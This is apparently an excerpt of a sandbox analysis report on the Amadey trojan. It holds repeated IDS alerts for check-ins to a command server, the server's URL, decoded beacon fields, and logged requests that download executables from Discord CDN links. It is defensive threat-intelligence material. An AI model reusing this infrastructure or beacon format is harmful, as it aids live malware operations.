Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49911 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49912 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49913 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49915 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49916 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49918 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49920 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49921 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49923 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49924 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49926 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49927 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49929 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49931 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49932 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49934 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49935 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49937 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49938 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49940 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49941 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49943 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49945 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49946 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49947 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49948 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49949 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49950 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49952 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49954 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49955 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49956 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49957 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49959 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49960 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49961 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49963 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49964 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49966 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49967 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49969 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49971 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49972 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49974 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49975 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49977 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49978 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49980 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49981 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49983 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49984 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49986 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49987 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49989 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49990 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49992 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49993 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49995 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49996 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49998 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49999 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50000 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50002 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50004 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50005 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50007 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50009 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50010 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50011 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50012 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50014 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50016 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50017 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50018 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50019 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50021 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50022 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50024 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50026 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50027 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50029 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50030 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50032 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50034 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50035 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50037 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50038 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50039 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50040 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50042 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50043 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50044 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50045 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50047 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50048 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50050 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50051 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50052 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50054 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50055 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50056 -> 46.17.96.36:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: 46.17.96.36/k8FppT/index.php

Source: Joe Sandbox View

ASN Name: HOSTKEY-ASNL HOSTKEY-ASNL

Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----699541f833ca8faa1bd26fe17facb267Host: 46.17.96.36Content-Length: 107110Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----699541f833ca8faa1bd26fe17facb267Host: 46.17.96.36Content-Length: 107110Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----c40968ed499c6f5938534922f4d89073Host: 46.17.96.36Content-Length: 107710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6c877eb2a3da7264dec94b69baff2e36Host: 46.17.96.36Content-Length: 107432Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: d1=1000003001&unit=152138533219
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----9af1e57389b70ac42b360f895ff149c0Host: 46.17.96.36Content-Length: 108322Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----18482e8eccd3978e1e99c57ecdc4fd2fHost: 46.17.96.36Content-Length: 109159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----c5a841f4f1c49d0b014c71075a2e4e94Host: 46.17.96.36Content-Length: 109415Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----c5a841f4f1c49d0b014c71075a2e4e94Host: 46.17.96.36Content-Length: 109415Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2e97d6ab67dd52d2b0448fb19f95ffa5Host: 46.17.96.36Content-Length: 109366Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0eca12f9569ffde04e01e318ef40cd43Host: 46.17.96.36Content-Length: 109213Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----18482e8eccd3978e1e99c57ecdc4fd2fHost: 46.17.96.36Content-Length: 109159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0eca12f9569ffde04e01e318ef40cd43Host: 46.17.96.36Content-Length: 109213Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8cHost: 46.17.96.36Content-Length: 108017Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8cHost: 46.17.96.36Content-Length: 108017Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8cHost: 46.17.96.36Content-Length: 108017Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716Host: 46.17.96.36Content-Length: 110651Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db56d3c9a49176ccd92b63c96c9facd8Host: 46.17.96.36Content-Length: 109347Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----bf8d5a167ee28da00e24b992931fcac0Host: 46.17.96.36Content-Length: 108282Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9Host: 46.17.96.36Content-Length: 107971Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9Host: 46.17.96.36Content-Length: 110607Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: d1=1000004001&unit=152138533219
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9Host: 46.17.96.36Content-Length: 110607Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9Host: 46.17.96.36Content-Length: 110607Cache-Control: no-cache
